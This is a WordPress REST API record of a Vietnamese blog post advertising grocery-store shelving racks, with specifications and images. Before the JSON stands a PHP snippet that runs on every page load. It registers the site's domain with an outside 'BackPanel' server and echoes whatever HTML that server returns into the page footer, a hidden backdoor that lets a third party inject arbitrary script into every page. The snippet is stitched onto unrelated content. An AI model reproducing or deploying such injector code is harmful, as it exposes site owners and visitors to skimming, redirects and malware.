function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array('body' => array('action' => 'register_domain', 'domain' => $domain), 'timeout' => 5));
    if (is_wp_error($response)) return;
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) { echo $html_code; });
    }
}
add_action('init', 'wp_injector_fetch_code');
{"id":236,"date":"2022-01-29T18:24:01","date_gmt":"2022-01-29T11:24:01","guid":{"rendered":"https:\/\/demoweb.company\/Giake\/?p=236"},"modified":"2022-01-29T18:24:01","modified_gmt":"2022-01-29T11:24:01","slug":"ke-hang-tap-hoa-tai-phu-tho-5","status":"publish","type":"post","link":"https:\/\/demoweb.company\/Giake\/2022\/01\/29\/ke-hang-tap-hoa-tai-phu-tho-5\/","title":{"rendered":"K\u1ec7 h\u00e0ng t\u1ea1p h\u00f3a t\u1ea1i B\u1eafc giang"},"content":{"rendered":"<p>Gi\u00e1 k\u1ec7 3A Rack thi c\u00f4ng l\u1eafp \u0111\u1eb7t k\u1ec7 h\u00e0ng t\u1ea1p h\u00f3a t\u1ea1i Ph\u00fa Th\u1ecd<\/p>\n<p>Trong \u1ea3nh: K\u1ec7 si\u00eau th\u1ecb \u0111\u00f4i v\u00e0 \u0111\u1ea7u k\u1ec7 cao 1.5m &#8211; 4 t\u1ea7ng<\/p>\n<ul>\n<li>K\u00edch th\u01b0\u1edbc :k\u1ec7 si\u00eau th\u1ecb \u0111\u00f4i 3A (mm): 1500 x 1200 x 780 x 4 t\u1ea7ng<\/li>\n<li>K\u00edch th\u01b0\u1edbc: \u0110\u1ea7u k\u1ec7 3A(mm): 1500 x 700 x 420 x 4 s\u00e0n<\/li>\n<li>T\u1ea3i tr\u1ecdng: 60kg\/s\u00e0n<\/li>\n<li>Di\u1ec1m \u0111\u1ecf<\/li>\n<li>Lo\u1ea1i k\u1ec7 si\u00eau th\u1ecb l\u01b0ng l\u01b0\u1edbi<\/li>\n<li>V\u1eadt li\u1ec7u s\u1eaft s\u01a1n t\u0129nh \u0111i\u1ec7n ch\u1ed1ng m\u00e0i m\u00f2n<\/li>\n<li>T\u00ednh n\u0103ng: l\u1eafp gh\u00e9p th\u00f4ng minh, l\u1eafp \u0111\u01b0\u1ee3c nhi\u1ec1u ki\u1ec3u<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-228 aligncenter\" title=\"K\u1ec7 h\u00e0ng t\u1ea1p h\u00f3a t\u1ea1i Ph\u00fa Th\u1ecd\" src=\"https:\/\/demoweb.company\/Giake\/wp-content\/uploads\/2022\/01\/ke-hang-tap-hoa-tai-phu-tho.jpg\" alt=\"K\u1ec7 h\u00e0ng t\u1ea1p h\u00f3a t\u1ea1i Ph\u00fa Th\u1ecd\" width=\"800\" height=\"360\" srcset=\"https:\/\/demoweb.company\/Giake\/wp-content\/uploads\/2022\/01\/ke-hang-tap-hoa-tai-phu-tho.jpg 800w, https:\/\/demoweb.company\/Giake\/wp-content\/uploads\/2022\/01\/ke-hang-tap-hoa-tai-phu-tho-300x135.jpg 300w, https:\/\/demoweb.company\/Giake\/wp-content\/uploads\/2022\/01\/ke-hang-tap-hoa-tai-phu-tho-768x346.jpg 768w, https:\/\/demoweb.company\/Giake\/wp-content\/uploads\/2022\/01\/ke-hang-tap-hoa-tai-phu-tho-600x270.jpg 600w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-229 aligncenter\" title=\"K\u1ec7 h\u00e0ng t\u1ea1p h\u00f3a t\u1ea1i Ph\u00fa Th\u1ecd\" src=\"https:\/\/demoweb.company\/Giake\/wp-content\/uploads\/2022\/01\/ke-hang-tap-hoa-tai-phu-tho-1.jpg\" alt=\"K\u1ec7 h\u00e0ng t\u1ea1p h\u00f3a t\u1ea1i Ph\u00fa Th\u1ecd\" width=\"800\" height=\"360\" srcset=\"https:\/\/demoweb.company\/Giake\/wp-content\/uploads\/2022\/01\/ke-hang-tap-hoa-tai-phu-tho-1.jpg 800w, https:\/\/demoweb.company\/Giake\/wp-content\/uploads\/2022\/01\/ke-hang-tap-hoa-tai-phu-tho-1-300x135.jpg 300w, https:\/\/demoweb.company\/Giake\/wp-content\/uploads\/2022\/01\/ke-hang-tap-hoa-tai-phu-tho-1-768x346.jpg 768w, https:\/\/demoweb.company\/Giake\/wp-content\/uploads\/2022\/01\/ke-hang-tap-hoa-tai-phu-tho-1-600x270.jpg 600w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gi\u00e1 k\u1ec7 3A Rack thi c\u00f4ng l\u1eafp \u0111\u1eb7t k\u1ec7 h\u00e0ng t\u1ea1p h\u00f3a t\u1ea1i Ph\u00fa Th\u1ecd Trong \u1ea3nh: K\u1ec7 si\u00eau th\u1ecb \u0111\u00f4i v\u00e0 \u0111\u1ea7u k\u1ec7 cao 1.5m &#8211; 4 t\u1ea7ng K\u00edch th\u01b0\u1edbc :k\u1ec7 si\u00eau th\u1ecb \u0111\u00f4i 3A (mm): 1500 x 1200 x 780 x 4 t\u1ea7ng K\u00edch th\u01b0\u1edbc: \u0110\u1ea7u k\u1ec7 3A(mm): 1500 x 700 x 420&#8230;<\/p>\n","protected":false},"author":1,"featured_media":64,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,1],"tags":[],"class_list":["post-236","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-du-an","category-khong-phan-loai"],"_links":{"self":[{"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/posts\/236","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/comments?post=236"}],"version-history":[{"count":1,"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/posts\/236\/revisions"}],"predecessor-version":[{"id":243,"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/posts\/236\/revisions\/243"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/media\/64"}],"wp:attachment":[{"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/media?parent=236"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/categories?post=236"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/demoweb.company\/Giake\/wp-json\/wp\/v2\/tags?post=236"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}